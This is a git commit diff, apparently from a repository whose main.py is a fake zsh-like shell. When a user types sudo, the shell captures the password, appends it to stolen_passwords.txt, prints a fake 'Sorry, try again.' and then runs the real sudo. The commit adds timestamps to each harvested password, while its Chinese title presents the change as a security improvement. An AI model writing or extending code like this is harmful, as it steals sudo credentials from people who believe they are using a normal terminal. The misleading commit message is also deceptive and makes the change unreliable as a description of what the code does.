在记录密码时添加时间戳,增强安全性
This commit is contained in:
4
main.py
4
main.py
@@ -1,4 +1,5 @@
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess
|
||||
from datetime import datetime
|
||||
|
||||
# 自动补全功能,基于系统命令和当前目录的文件
|
||||
def completer(text, state):
|
||||
@@ -61,7 +62,8 @@ def pseudo_zsh():
|
||||
if args[0] == 'sudo':
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
f.write(fake_password + "\n")
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
time.sleep(3) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
||||
|
||||
Reference in New Issue
Block a user